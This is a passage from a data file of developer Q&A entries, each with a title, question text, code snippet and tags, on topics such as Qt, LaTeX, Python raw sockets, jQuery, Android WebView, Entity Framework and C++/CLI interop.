this domain model in my widgets, datagrids, and the QT MVC paradigm.\nWhich should
be the best steps to acquire those classes into my model, keeping them separates
from my code? The domain model comes from a proprietary DLL and I can't modify its
sources.\nShould I use a Facade pattern? \n", "", "mvc qt4 legacy-code facade-
pattern"], "831183": ["availability of LaTeX packages' functionality in ConTeXt,
XeTeX, and LuaTeX", "I am considering trying out ConTeXt, XeTeX, and LuaTeX, but
one concern of mine is the fact that I am using a large number of LaTeX packages.\
nThere are a number of questions comparing these TeX derivatives with LaTeX. These
two (here and here) seem relevant to this question of mine.\nWhat I am especially
interested in is the functionality I presently get. Put in the simplest possible
terms: The large number of LaTeX packages exists because they provide valuable
functionality. It would seem hard to believe that ConTeXt is so advanced that all
of these packages' functionality is not needed within ConTeXt. Similarly, I am
wondering about present-day compatibility of LaTeX packages with XeTeX and LuaTeX.
How much LaTeX functionality is easily available or needed in ConTeXt, XeTeX, and
LuaTeX, and how do I make it available?\nFeel free to improve this question or
split it up if you know of an easy way.\n", "", "xetex packages luatex context
comparison"], "4391168": ["Python Raw Sockets (Windows): Sniffing Ethernet Frames",
"I have seen several examples of creating sockets to sniffing for IP Packets, for
example using: \n\nWhat I am trying to achieve, is sniffing for Ethernet Frames and
analysing the data received in Windows. The packets I am interested in are PPPoE
Frames not containing IP. \nIn Linux (using python) I was able to achieve this
using : \n\nNow due to the differences betweeen linux sockets and WinSock2 API, I
am having the following compatibility issues : \n\nThere is no IN package for
windows. That means the SO_BINDTODEVICE is not present. How do I sniff everything
coming on eth0 interface?\nWhat should I use for protocol option in socket()
constructor as I dont want to limit it to IPPROTO_IP. \n\nCan anyone point me to
the right direction ? I went through similar questions but none of them really
solved my problem as they were all concerned with IP Packet sniffing\nNote: I know
libraries like Scapy could be used for sniffing, but it loses packets if we are
trying to do any elaborate filtering (or use the prn function) and does not suit
what I am trying to do. Raw sockets fit my need perfectly.\n", "s =
socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)\n", "python
sockets winsock sniffing"], "2127310": ["Assembly language variables", "What is the
assembly language variable bl? How many bits does it hold? Is it a part of a larger
variable like EBX?\n", "", "assembly x86"], "3083447": ["System's clang
installation won't link", "I am using Linux Mint 12 (based on Ubuntu 11.10) and
installed clang compiler with the command:\n\nWhat installs a system-wide clang-
2.9. But when i try compile something with it, I get this error:\n\nThis is the
linker invocation I get using the flag:\n\nSo, what is this problem and how can I
work around it?\n", "$ sudo apt-get install clang\n", "c unix clang ld mint"],
"4855132": ["Editors that can enforce exact (not maximum) line length?", "Does
anyone know of an editor that has the ability to enforce exact line lengths (bonus
if it allows association of maximum line lengths by file name/extension)?\nWhat I
mean by exact line lengths is that the editor will always save each line padded to
a maximum line length (defined by the user). For example, if a file should have a
120-character line length every line in the file will be 120-characters long,
padded with blanks if needed, follow by the appropriate newline indicator. When
someone edits a line the editor will prevent them from typing if the line length
hits the max length.\nPlatform is Win XP/Vista.\n", "", "windows editor"], "26205":
["Generating BFS forest of graphs", "I want to generate a BFS forest of of a DAG
(Direct Acyclic Graph). This means my Tree class needs to be a general tree and not
a binary tree (in other words, I can't know the number of children a node will have
ahead of time when I am generating a forest). Most of the code is written and shown
below, however I lack one line that, for the life of me, escapes me!\n\nMy Tree
class stores a value parameter, a parent reference, and a list of children.\nMy
problem is referencing the next tree node. Once I have added all the unvisited
neighbors as childs of the current node, how do I get to the next node?\nEDIT:\nSo
it would look something like this?\n\nwhere does the recursive call go?\n", "public
Tree BFS(V start)\n{\n reset();\n LinkedList<GraphMatrixVertex<V>> list = new
LinkedList<GraphMatrixVertex<V>>();\n GraphMatrixVertex<V> vert =
dict.get(start);\n Tree root = new Tree(vert); \n list.add(vert);\n do\n
{\n vert = list.getFirst();\n Iterator<V> ni = neighbors(start);\n
while(ni.hasNext())\n {\n V v = ni.next();\n
GraphMatrixVertex<V> vtx = dict.get(v);\n if(!vtx.isVisited())\n
{\n list.add(vtx);\n vtx.visit();\n
root.addChild(new Tree(vtx));\n }\n }\n //code goes here\
n }\n while(!list.isEmpty());\n\n return root;\n}\n", "java search tree
graph"], "356678": ["How to add more space between list items?", "I have a list.
Editor says it shall have more space between items. How to achieve such thing? \n",
"", "spacing lists"], "3434455": ["How to log/track/confirm file deletions on Mac
server?", "I have 30 or so users using a sharepoint on a Mac OS X server.\nWe have
historically had a lot of issues with people deleting files (accidentally or
otherwise) that shouldn't be deleted for various reasons.\nIs there any way that I
could set the server up to require a password be entered or issue a confirmation
dialog before deleting a file? Further, is it possible to log file deletions to
track who had deleted files and
when?\nI've looked into version control systems, but that may be too heavy-handed
(and too expensive) for what we need. We do have a daily back-up system in place,
but my users want an extra layer of security.\n", "", "sharepoint mac file-
sharing"], "1508563": ["Add Mootools 1.3 element to document body", "I have tried
using the inject, adopt and grab methods to insert my new element into the document
body, however it does not seem to be working. \nWhat I really want it to do is to
create a new div that displays over the top of all the other elements in the body.
I have it working in a previous iteration of mootools however am unable to get it
working in 1.3.\nJust thought I would see if anybody had some ideas on here that
could help, Cheers!\n\n", " var overlay = new Element('div', {\n 'class':
'overlay',\n styles: {\n display: 'block',\n visibility: 'visible',\n
position: 'fixed',\n background-color: '#4E5056',\n z-index: 65555,\n
height: '100%',\n width: '100%',\n top: 0,\n left: 0\n }\n });\
n\n $(document.body).inject(overlay);\n", "javascript html joomla mootools"],
"2212933": ["Jquery select change not updating", "below is my code. I can get the
pieces to work right individually, but can't pick out why its not working as a
whole. You can see a live example of it at http://www.center-center.com/frames-
stretcher%20app.php. I would like the form to update the table at the bottom of the
page every time a form element is changed. The page functions properly when
changing the radio button selected and the text inputs, but doesn't update on the
fly when using the drop down menus for a reason I'm unaware of. The values with the
select elements are communicated, but are not updated on the fly like the other
inputs for some reason. I've tested them individually and it works fine, but when
all of it's together it's a no go. Any help would be greatly appreciated as I've
been trying to get this to work properly for the past couple days.\n\n", " $
(document).ready(function(){\n var type = null;\n\n $(\"#stretcher-
op\").change(function() {\n $(\"#stock-select div\").hide();\n\n
if (type != $('input[name=type]:checked').val()) {\n if (type ==
'frame') {\n $(\"select#stock-op\").remove();\n
$(\"select#corner-op\").remove();\n $(\"select#finish-
op\").remove();\n\n $(\"label[for=finish-op]\").hide();\n
}\n\n $(\"label[for=stock-op]\").after('<select id=\"stock-op\"
name=\"stock\"><option selected=\"selected\"></option><?php $i = 0;
foreach($stretcher_stock_options as $option) { if ($option['show'] == 1)
{ echo('<option value=\"' . $i . '\">' . $option['name'] . '</option>'); } $i+
+; } ?></select>');\n $(\"label[for=corner-op]\").after('<select
id=\"corner-op\" name=\"corner\"><option selected=\"selected\"></option><?php $i =
0; foreach($stretcher_corner_options as $option) { if ($option['show'] == 1)
{ echo('<option value=\"' . $i . '\">' . $option['name'] . '</option>'); } $i+
+; } ?></select>');\n }\n\n type = $
('input[name=type]:checked').val(); //stretcher\n });\n\n $(\"#frame-
op\").change(function() {\n $(\"#stock-select div\").hide();\n\n
if (type != $('input[name=type]:checked').val()) {\n if (type ==
'stretcher') {\n $(\"select#stock-op\").remove();\n
$(\"select#corner-op\").remove();\n }\n\n $
(\"label[for=finish-op]\").show(); \n\n $
(\"label[for=stock-op]\").after('<select id=\"stock-op\" name=\"stock\"><option
selected=\"selected\"></option><?php $i = 0; foreach($framing_stock_options as
$option) { if ($option['show'] == 1) { echo('<option value=\"' . $i . '\">' .
$option['name'] . '</option>'); } $i++; } ?></select>');\n $
(\"label[for=corner-op]\").after('<select id=\"corner-op\" name=\"corner\"><option
selected=\"selected\"></option><?php $i = 0; foreach($framing_corner_options as
$option) { if ($option['show'] == 1) { echo('<option value=\"' . $i . '\">' .
$option['name'] . '</option>'); } $i++; } ?></select>');\n $
(\"label[for=finish-op]\").after('<select id=\"finish-op\" name=\"finish\"><option
selected=\"selected\"></option><?php $i = 0; foreach($framing_finish_options as
$option) { if ($option['show'] == 1) { echo('<option value=\"' . $i . '\">' .
$option['name'] . '</option>'); } $i++; } ?></select>');\n }\n\n
type = $('input[name=type]:checked').val(); //frame\n });\n\n $
(\"input,select\").change(function() {\n width = $('#width').val();\n
height = $('#height').val();\n quantity = $('#quantity-op').val();\n
stock = $('#stock-op option:selected').val();\n corner = $('#corner-op
option:selected').val();\n finish = $('#finish-op
option:selected').val();\n\n $(\"#quote\").load('art-product-
calculator.php?type=' + type + '&width=' + width +'&height=' + height +
'&quantity=' + quantity + '&stock=' + stock + '&corner=' + corner + '&finish=' +
finish);\n });\n });\n</script>\n</head>\n\n<body>\n<div
id=\"container\">\n <header id=\"banner\">\n <img src=\"\" />\n
</header>\n\n <section id=\"selection\">\n <div class=\"option\"
id=\"stretcher\">\n <label for=\"stretcher-op\">Stretcher</label><br />\
n <input id=\"stretcher-op\" name=\"type\" type=\"radio\"
value=\"stretcher\" />\n </div>\n <div class=\"option\"
id=\"frame\">\n <label for=\"frame-op\">Frame</label><br />\n
<input id=\"frame-op\" name=\"type\" type=\"radio\" value=\"frame\" />\n
</div>\n\n <div class=\"option\" id=\"quantity\">\n <label
for=\"quantity-op\">Quantity </label><input id=\"quantity-op\" name=\"width\"
type=\"\" value=\"\" size=\"6\" />\n </div>\n\n <div class=\"option\"
id=\"dimensions\">\n <input id=\"width\" name=\"width\" type=\"\"
value=\"width\" size=\"6\" /> <label for=\"width\">inches</label> by \n
<input id=\"height\" name=\"height\" type=\"\" value=\"height\" size=\"6\" />
<label for=\"height\">inches</label>\n </div>\n\n <div
class=\"option\" id=\"stock-select\">\n <label for=\"stock-op\">Stock
Selection </label><div class=\"space-holder\">&nbsp;</div>\n </div>\n\n
<div class=\"option\" id=\"corner-joint\">\n <label for=\"corner-
op\">Corner Joint </label>\n </div>\n\n <div class=\"option\"
id=\"finish\">\n <label for=\"finish-op\">Finishing </label>\n
</div>\n </section>\n\n <section id=\"quote\">\n
</section>\n</div>\n</body>\n</html>\n", "php jquery html web"], "3940262":
["Detecting chrome errors requests in Chrome Extension like
net::ERR_CONTENT_DECODING_FAILED or net::ERR_TIMED_OUT", "I would like to be able
to detect this error, so I can be able to refresh the tab. how do I do that?\nI'm
sorry I don't have code examples, but it's because it wouldn't help since I have no
idea how to detect this error.\nThanks in advance.\n", "", "google-chrome-
extension"], "912571": ["How can I programmatically take a screenshot of a webview,
capturing the full page?", "I think the title pretty much covers it, but I have a
webview in my activity. I've loaded a url into the webview and I'd like to take a
screenshot of the full page (whatever is in the viewport and the stuff \"below the
fold\" as well).\nI've got code that works to snapshot the viewport, and I know
this can be done in iOS by enlarging the webview before snapshotting it. I've tried
to use the same technique here:\n\nBut I'm still only capturing just the viewport.
Disregarding things like running out of memory because the page is too large, does
anyone know what I'm doing wrong or how I can include the portion outside the
viewport?\n", " WebView browserView = (WebView) findViewById(R.id.browserView);\
n\n //Resize the webview to the height of the webpage\n int pageHeight =
browserView.getContentHeight();\n LayoutParams browserParams =
browserView.getLayoutParams();\n browserView.setLayoutParams(new
LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, pageHeight));\n\n //Capture
the webview as a bitmap\n browserView.setDrawingCacheEnabled(true);\n Bitmap
bitmap = Bitmap.createBitmap(browserView.getDrawingCache());\n
browserView.setDrawingCacheEnabled(false);\n\n //Create the filename to use\n
String randomFilenamepart = String.valueOf(new SecureRandom().nextInt(1000000));\n
String filename = Environment.getExternalStorageDirectory().toString() +
\"/Screenshot_\" + randomFilenamepart + \".jpg\";\n File imageFile = new
File(filename);\n //Stream the file out to external storage as a JPEG\n
OutputStream fout = null;\n try {\n fout = new
FileOutputStream(imageFile);\n bitmap.compress(Bitmap.CompressFormat.JPEG,
100, fout);\n fout.flush();\n fout.close();\n } catch
(FileNotFoundException e) {\n e.printStackTrace();\n } catch (IOException
e) {\n e.printStackTrace();\n } finally {\n
browserView.setLayoutParams(browserParams);\n }\n", "android webview
screenshot"], "5426562": ["Validating result of JsonConvert.DeserializeObject
(think \"try parse\") using JSON.Net", "I have incoming messages that I need to try
and parse in my own objects structure. SOme of these are well formed JSON obejcts
and some are just nonsense. \nI use to do this. This however sometimes gives me a
exception when the incoming is total garbage. Other times I get a non-complete
object structure when the incoming string is kind of OK - and
finally it sometimes work.\nI've wrapped the conversion in a try/catch and than
manually validate that I've gotten the properties I need to the deserialized
result.\nIs there a better way to do this? \n",
"JsonConvert.DeserializeObject<MyObject>(incmoingString);", "c# c#-3.0 json.net"],
"1781540": ["Mechanics of BibLaTeX: proper connection of .bib file", "Ok, I've
experienced weird behavior with TeXstudio. I want to add bibliography directly to
file while using . People seem to do in this way. I don't want bibliography inside
of the file, but want to separately modify the file - this is the condition\n\
nIn TeXstudio, in order to update (say after adding second item in ), you have to
delete all the files except every time . Recompiling dozen times - no reaction, no
update. Adding item directly to file - no reaction, no update again after
recompiling. During these operations it complains that another file with project
name already exists - adding entries there gives no result either. It breaks also
when you just try add file without directly to a file now giving annoying
error:\n\nYes, after you've executed it twice with , same as saying I don't
understand what is water while drinking Pepsi. The result is always unresolved
references.\nIn TeXnicCenter it seems that connection occurs after you add two of
these and then remove - now you are able to edit file and recompiling gives you
updated results.\nI've always wanted to use TeXstudio due to GUI stuff but it keeps
me failing over and over again.\n", ".bib", "biblatex texniccenter texstudio"],
"5115875": ["Programs on startup in Linux", "Where does Linux look to start
programs on startup? (In Windows we have the registry)\n", "", "linux startup"],
"2407930": ["How to map several keys in Vim", "How would I map to execute ?\nI
have tried\n\nSave file and source it with , but does not work.\n", "ctrl+w+o",
"vim macvim"], "5028686": ["Posting to Facebook Wall - iPhone application", "I am
trying to create a class that will handle contain all Facebook methods, and to call
methods from other classes when required;\nAnd this is how i am calling these
methods (from a another viewController)\nI have added a button and on its click
event i add the following code;\n\nThis program works perfectly, i asks the user
for the credentials and then ask the user to type something to share, and it also
post to the FB wall. But the program crashes with the sharing screen;\nWhat should
i do to prevent this ?\n", "FBClass *fb= [[FBClass alloc] init];\n[fb fbLogin];\
n[fb accesstokenDetails];\n", "iphone objective-c facebook facebook-connect"],
"4475468": ["Configure EJB3 with web.xml like parameters", "I'd like to pass some
parameters to a stateless session bean. I'd like to do something like I do when I
configure a Servlet initial parameters in the web.xml file. Thanks\n", "", "java
xml parameters ejb-3.0"], "5939038": ["addObject: to array not working (array still
nil)", "This app is a table view with a tab bar controller. I am logging the count
of the array: arrayOfFavourites and even though i add an object is continues to
have a nil value, my relating code, all objects shown are allocated and initialized
in the code (previous or present) some are instances and some are properties:\
nListViewController.m:\n\nWebViewController.m:\nYou shake to favorite a cell\n\
nFavourites.m:\n\n", " -(void)tableView:(UITableView *)tableView
didSelectRowAtIndexPath:(NSIndexPath *)indexPath {\n\nNSLog(@\"TOUCHED CELL!\");\n\
n// Push the web view controller onto the navigation stack - this implicitly \n//
creates the web view controller's view the first time through\n[[self
navigationController] pushViewController:webViewController animated:YES];\n\n//
Grab the selected item\nentry = [[channel items] objectAtIndex:[indexPath row]];\n\
nif (!entry) {\n NSLog(@\"!entry\");\n}\n\n// Construct a URL with the link
string of the item\nNSURL *url = [NSURL URLWithString:[entry link]];\n\n//
Construct a request object with that URL\nNSURLRequest *req = [NSURLRequest
requestWithURL:url];\n\n // Load the request into the web view \
n[[webViewController webView] loadRequest:req];\n\n// Take the cell we pressed\n//
IMPORTANT PART\nCELL = [tableView cellForRowAtIndexPath:indexPath];\n\
n[webViewController setItem:entry];\n\nwebViewController = nil;\nwebViewController
= [[WebViewController alloc] init];\n[entry release];\n\n }\n", "objective-c
cocoa-touch uitableview nsmutablearray"], "617174": ["Increasing the angle between
two vectors", "Having two vectors $a$ and $b$ and with $b$ fixed, how would I go
about increasing the angle between the two vectors by a specified $\\Delta \\
theta$?\nThe dot product equation:\n$$ a \\cdot b = |a| \\cdot |b| \\ \\cos \\theta
.$$\ngives multiple solutions in the form of a cone for $3$-dimensional vectors. I
want the new vector $a'$ to be in the same plane spanned by $a$ and $b$. \nAlso can
this case be extended to arbitrary number of dimensions? \n", "", "linear-algebra
geometry"], "1866563": ["Split and merge/concat recorded audio", "I need to be able
to split and merge recorded audio in Android. Since there are a number of different
formats, does anyone know which format is easiest to handle?\nIt's only the formats
with a dot under \"Encoder\" that is available for recording.\n", "", "android
android-ndk aac mediarecorder amr"], "1793836": ["simple mysql query working slower
than nested Select", "I am doing a simple Select from a single table. \n\ntable :
book\ncolumns :\nBook_Id (INTEGER 10) | Book_Name (VARCHAR 100) | Author_Id
(INTEGER 10) | Book_Active (Boolean)\nI have Indexes on three columns : Book_Id
(PRIMARY key) , Author_Id (FK) , Book_Active .\nfirst query : \n\nsecond
query : \n\nThe data statistics is like this : \n\nAnd For \n\nThe first query
takes 6.7 seconds . The second query takes 0.0002 seconds\nWhat is the cause of
this enormous difference ? is it the right thing to use the nested select query ?\
nedit: added \"sql explain\"\n", "CREATE TABLE `book` (\n `Book_Id` int(10) NOT
NULL AUTO_INCREMENT,\n `Book_Name` varchar(100) COLLATE utf8_turkish_ci DEFAULT
NULL ,\n `Book_Active` bit(1) NOT NULL DEFAULT b'1' ,\n `Author_Id` int(11) NOT
NULL,\n PRIMARY KEY (`Book_Id`),\n KEY `FK_Author` (`Author_Id`),\n CONSTRAINT
`FK_Author` FOREIGN KEY (`Author_Id`) REFERENCES `author` (`Author_Id`) ON UPDATE
CASCADE\n) ENGINE=InnoDB AUTO_INCREMENT=5947698 DEFAULT CHARSET=utf8
COLLATE=utf8_turkish_ci ROW_FORMAT=COMPACT\n", "mysql index nested"], "2136443":
["How to test downloading files in Selenium2 using Java and then check the
downloaded file' format?", "I have an \"Export\" button so after click on it
the .csv file with some data is downloaded.\nIs there a way to test in Selenium2
the following points:\n\nThe file is downloaded after click on the \"Export\"
button \nThe downloaded file is a .csv format file. \nFile data is correct. (There
are three columns, let them be Column1, Column2, Column3 )\n\nI will really
appreciate all of the suggestions on how to do the tings above using Java.\n", "",
"java selenium junit selenium2 selenium-webdriver"], "2760686": ["Resolutions in
swing", "I have a problem, my app in my resolution is perfect but in other machines
with other resolutions is a disaster, what can I do?\n", "", "java swing
resolution"], "1504436": ["Is a harddisk SATA-1 with 10000 rpm faster than a SATA-2
with 7200 rpm?", "I have a Western Digital Sata-1 Raptor 36 GB with 10000 rpm and\
na Samsung Sata-2 HD501LJ 500 GB with 7200 rpm.\nWhich one is faster if I use the
harddisk only as a System disk running the OS on it?\n", "", "hard-drive sata
benchmarking"], "6001392": ["Outlook 2003 Email Headers", "How do I view the full
email headers in Outlook 2003?\n", "", "email outlook-2003 headers"], "3928253":
["What's possibly the reason that ajax success event is not being invoke in IE?",
"I came along with a problem in IE, AJAX success event is not being invoke after
link is successfully tweeted in twitter. I have this code:\n\nNo way it alerts the
success message and it didn't fall into the error event too, so i can't really
figure out the problem here. This only occurs in IE, not on other browser like
firefox or chrome but link is posted successfully in twitter.\nI have read in the
web to use the event but the problem there even if the ajax processing fails, it
will still perform the function you specified in the complete event so its not
really a good idea to use complete.\nWhat's wrong with my code? And what do i need
to do to easily determine the probable cause of it. \nThanks.\nI have to update my
question:\nAs suggested by Furqan to use crossDomain: true. I have updated my code
into this:\n\ninstead of this:\n\nbut it doesn't fix my issue still. After further
investigating i have found out that the ontweet event is not really triggered in
IE. What could possible be the reason? Anyone encounteered this issue?\nIn my IE
network profiler, i got this result:\nhttp://pastebin.com/fxxCyTSE\nBut, it posted
to twitter. My problem is just when its redirecting back to my website (from
twitter to my site), the event is not invoke because the event is not triggered
too.\nAny idea on this?\nUpdate on this issue:\nAfter further research i have found
out that there is really a bug with twitter code. There tweet event is not fired in
IE.\nLinks i found related to the issue:\nhttps://dev.twitter.com/discussions/671\
nhttps://dev.twitter.com/discussions/3884\nhttps://dev.twitter.com/discussions/
1640\n", "jQuery(document).ready(function () {\n
jQuery('#tbookmarklet').twitterbutton({\n url: myshareUrl,\n title: myTitle,\
n layout: 'none',\n ontweet:function(response){\n jQuery.ajax({\n
url: tCallbackUrl,\n type: 'get', \n error: function() {\n
alert('sorry, it fails');\n },\n success: function() {\n
alert('tweet success');\n }\n });\n }, \n});\n
jQuery.ajax({ url: 'https://platform.twitter.com/widgets.js', dataType: 'script',
cache:true});\n});\n", "jquery ajax twitter"], "4450414": ["Jslider is laggy after
overriding paint method", "After overriding the paintTrack and paintThumb method of
my JSlider it lags if I drag its thumb.\nI've replaced the track and thumb with
images. Any ideas how to solve the problem?\n\n}\nEDIT:\nSolved it, I also had to
override the getThumbSize()\n\n", "public class test {\nprivate static JFrame
frame;\nprivate static JSlider slider;\n\npublic static void main(String[] args)
throws IOException {\n frame = new JFrame();\n slider = new JSlider();\n
slider.setUI(new MySliderUI(slider));\n frame.add(slider);\n
frame.setVisible(true);\n frame.pack();\n frame.setSize(1200, 720);\n
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n}\n\nprivate static class
MySliderUI extends BasicSliderUI {\n\n private BufferedImage imgTrack;\n
private BufferedImage imgThumb;\n\n public MySliderUI(JSlider slider) throws
IOException {\n super(slider);\n imgTrack = ImageIO.read(new
File(\"icon/track.png\"));\n imgThumb = ImageIO.read(new
File(\"icon/thumb.png\"));\n\n }\n\n @Override\n public void
paintTrack(Graphics g) {\n Graphics2D g2d = (Graphics2D) g;\n
Rectangle t = trackRect;\n g2d.drawImage(imgTrack, t.x, t.y, t.width,
t.height, null);\n }\n\n @Override\n public void paintThumb(Graphics g) {\
n Graphics2D g2d = (Graphics2D) g;\n
g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING,\n
RenderingHints.VALUE_ANTIALIAS_OFF);\n Rectangle t = thumbRect;\n
g2d.drawImage(imgThumb, t.x, t.y, null);\n }\n\n}\n", "java swing override paint
jslider"], "3434457": ["EF 4.0 / Weird behaviour of FirstOrDefault method", "I am
developing a small application using EF 4.0 and POCO. \nWhile testing my
application, I grew concerned about the performance of the Data Access Layer. So I
fired SQL Profiler to see that when trying to retrieve a record:\n\nthe EF issues a
SQL statement that would retrieve all records from the Orders table on the Server
and as such return to DAL at which time L2E would pick one thay meet the criteria
and return it. \nCan this behaviour be changed.\nThanks!\nZen\n",
"ctx.Orders.Include(\"OrderItems\").FirstOrDefault<Order>(c => c.OrderID == id);\
n", "entity-framework-4"], "5945992": ["Visual Studio 2010 JavaScript Intellisense
capitalizing the F in \"function\"", "I'm experiencing something recently that is
really annoying and I can't figure out why it's doing it. Not sure when it
started, because I recently wiped my machine, so maybe its a recent update or maybe
it's from a while ago.\nEither way, here is what's happening. When I'm declaring
an anonymous function inline and start typing the \"function() { ... }\" part, the
VS2010 intellisense comes up and replaces my lowercase function with its own
capitalized \"Function.\" I guess this is some static function in JavaScript or
JScript or something else, but I dont know. Either way, its when I type the \"()\"
that it assumes thats what I want.\nIf I'm declaring a standalone function it isn't
affected because I don't put the \"()\" after that, so it just leaves what I type.\
nHere are some screen shots of what is happening.\n\nIt is quite frustrating
because I don't notice it each time and then, of course, the function doesn't
execute. I also work in VS2008 each day and in 2008, both the \"function\"
and \"Function\" are listed in the intellisense menu, but it defaults to the
lowercase one so it doesn't affect me.\nIs there any way I can override the
intellisense settings? Find a file and remove the \"Function\" one from the list
because I'll never use it? Make it default back to the lowercase \"function\"
choice?\nAny help would be great. Thanks!\n-Jorin\n", "", "javascript visual-
studio-2010 intellisense"], "5123106": ["ASP.NET MVC How can parent view
communicate to its partial view or vice versa", "I have a strongly typed partial
view that wraps a jQuery datetime picker, as follows:\n\nThe model for this partial
view contains a single property that will represent the current selected date on
the calender. This model is defined as follows:\n\nThe idea is to be able to re-
use this calendar partial view throughout the rest of the web application. A main
view that needs this calendar as a partial view will call it like this:\n\nWhere
the CalendarController is defined soley to service HttpPost request from the
calender partial view. The CalendarController is defined as follows:\n\nI have a
problem in that child actions are not allowed to redirect so my Calendar method
with HttpPost attribute will fail. Nonetheless, I will like the selected data from
this controller to be propagated somehow to the parent view's controller who then
decides what to do with the selected date. \nFor example, the parent news page I
have displays news and article summaries. This calendar patial view is rendered as
part of the news page using RenderAction as posted above with CalendarData
containing the NewsController name and the call back I want to invoke after
calendar's selected data is changed. Once NewsController gets this selected date,
it will grab all news articles for selected date and re-render its main content. \
nMy main challenge now is how to get the calendar's selected data back to parent
controller due to the redirect restriction. Also, I am hoping to use
RouteValueDictionary to pass data from NewsController to CalendarController but
need to read more on routing to see if this will work. Any insights into this will
be great. I am also trying to follow good design pratices so if anyone has a
completely better way to do this while maintaining re-usability of my calendar
control, that would be even better.\nAny suggestions \n", "<%@ Control
Language=\"C#\"
Inherits=\"System.Web.Mvc.ViewUserControl<AkwiMemorial.Models.CalendarModel>\" %>
\n<script type=\"text/javascript\">\n $(document).ready(function() {\n $
('#datepicker').datepicker({\n inline: true,\n onSelect:
function(dateText, inst) {\n $('#SelectedDate').val(dateText);\n $
('form').trigger('submit'); }});\n });\n</script>\n\n\n <% using
(Html.BeginForm()) { %> \n <div>\n <div id=\"datepicker\"/>\n <%=
Html.HiddenFor(x => x.SelectedDate)%>\n</div>\n <% } %>\n", "asp.net mvc"],
"5607557": ["Clearing up confusion with Maps/Collections (Groovy)", "I define a
collection that is supposed to map two parts of a line in a tab-separated text
file:\n\nI end up with entries such as and I want . I don't understand how
works. How might I get the kind of collection I need? \n", "def fileMatches =
[:].withDefault{[]}\n\nnew File('C:\\\\BRUCE\\\\ForensicAll.txt').eachLine { line -
>\ndef (source, matches) = line.split (/\\t/)[0, 2]\nfileMatches[source] <<
(matches as int)}\n", "arrays list collections groovy maps"], "3921035":
["\"Filtering\" Cells in a UITableView. Multiple Views? Subviews?", "(First
question related to iPhone development, so apologies for sounding off-track.)\nI'm
creating a view that has a few things; a controlling 3 . Two of these TableViews
are filtered versions of the 3rd. All of them will be making a JSON call (still
working on that) to retrieve a list of objects.\nSo, because these views are
related in some way, would there be a more \"sane\" way to display this data? With
say, subviews? Or would I have to just create 1 view for each that returns the
desired data and be done with it?\nIf it helps at all, I have full control over the
API I'm talking with, so changes to that that help with this don't really matter to
me too much.\nThanks in advance!\n", "UITabBarController", "iphone uitableview
uitabbarcontroller"], "5108139": ["Highlighting an area on a mapview", "Google Maps
itself can sort of Highlight areas, when you are searching for example for a
city. \nSince i haven\u00b4t found very much via the search function and
google....\nIs there an intended way to highlight an area (circle or rectangle) on
an android mapview Or do i have to go the long way of calculating the necessary
size of an picture (for example circle) (which is depending on the zoomlevel) and
place it as a mapoverlay, which has to be replaced, whenever the zoom-level
changes?\n", "", "android android-mapview geofencing"], "3964502": ["entity
framework 4, code-only, relationships", "I can't figure out how to solve the
following problem.\nWhat i need it a relationship from one base class to another,
so that every derived class has a relationship with the same table, called 'Item'
in my example.\nSince this is just an example it doesn't reflect my program. In the
real program the relationship with class Item is in a different namespace.
Therefore it can't be in the derived class.\nThe error:\nA key is registered for
the derived type 'WebApplication1.Client'. Keys must be registered for the root
type 'WebApplication1.Base'.\n\n", "namespace WebApplication1\n{\n public class
Item\n {\n public int ItemID { get; set; }\n }\n\n public class
Base\n {\n public int ID { get; set; }\n public int ItemID { get;
set; }\n\n public Item Item { get; set; }\n\n }\n\n public class
Client : Base\n {\n public string Name { get; set; }\n\n private
List<Project> _projects = null;\n\n public List<Project> Projects\n
{\n get\n {\n if (_projects == null)\n
_projects = new List<Project>();\n\n return _projects;\
n }\n }\n }\n\n public class Project : Base\n {\n
public string Name { get; set; }\n\n public int ClientId { get;
set; }\n\n public Client Client { get; set; }\n\n }\n\n public class
Main\n {\n public static void Test()\n {\n
ContextBuilder<ObjectContext> ContextBuilder = new
ContextBuilder<ObjectContext>();\n\n var itemConfig = new
EntityConfiguration<Item>();\n itemConfig.HasKey(p => p.ItemID);\n
itemConfig.Property(p => p.ItemID).IsIdentity();\n
ContextBuilder.Configurations.Add(itemConfig);\n\n var clientConfig =
new EntityConfiguration<Client>();\n clientConfig.HasKey(p => p.ID);\n
clientConfig.Property(p => p.ID).IsIdentity();\n clientConfig.Property(p
=> p.Name);\n clientConfig.Relationship(p => p.Item).HasConstraint((p,
c) => p.ItemID == c.ItemID); \n
ContextBuilder.Configurations.Add(clientConfig);\n\n var projectConfig =
new EntityConfiguration<Project>();\n projectConfig.HasKey(p => p.ID);\n
projectConfig.Property(p => p.ID).IsIdentity();\n
projectConfig.Property(p => p.Name);\n\n projectConfig.Relationship(p =>
p.Item).HasConstraint((p, c) => p.ItemID == c.ItemID);\n\n
projectConfig.Relationship(p => p.Client).FromProperty(p =>
p.Projects).HasConstraint((p, c) => p.ClientId == c.ID);\n\n
ObjectContext objCtx = ContextBuilder.Create(new SqlConnection(@\"Data
Source=(local);Initial Catalog=testa;Integrated Security=SSPI;\"));\n\n
if (!objCtx.DatabaseExists())\n objCtx.CreateDatabase();\n\
n } \n } \n}\n", "entity entity-framework-4 entity-relationship
code-first"], "5115706": ["C++/CLI string interop", "I am working on a C++/CLI
wrapper for a native c++ class. The C++/CLI wrapper is being used in a WPF
application. I have encountered a weird problem when trying to marshal strings.\
nThe WPF application passes a object to my wrapper. The wrapper then converts the
to a that the native class expects. This all goes fine, but once I pass the string
to the native object, it is empty.\nHere is some relevant code\nWPF Event Handler
(C#)\n\nProperty In Wrapper Class (C++/CLI)\n\nNative Code (C++)\n\nSo when I break
in the WPF app and trace using the debugger, the String objects look fine, the
marshaling looks good, but the parameter in the function is an empty string. When
I step out of the native function, I can see that the variable still looks fine. \
nI have tried using function, it produces the same result. I have tried changing
the native function to take copy of the string instead of a reference, this
produces an exception about an invalid block of memory (if requested I will post
the exact message). I have tried allocating the string on the heap, no luck. \nNow
for the kicker: The native code was compiled with Microsoft Visual Studio 2008, and
the wrapper + wpf code was compiled with 2010. I hope this is not the problem
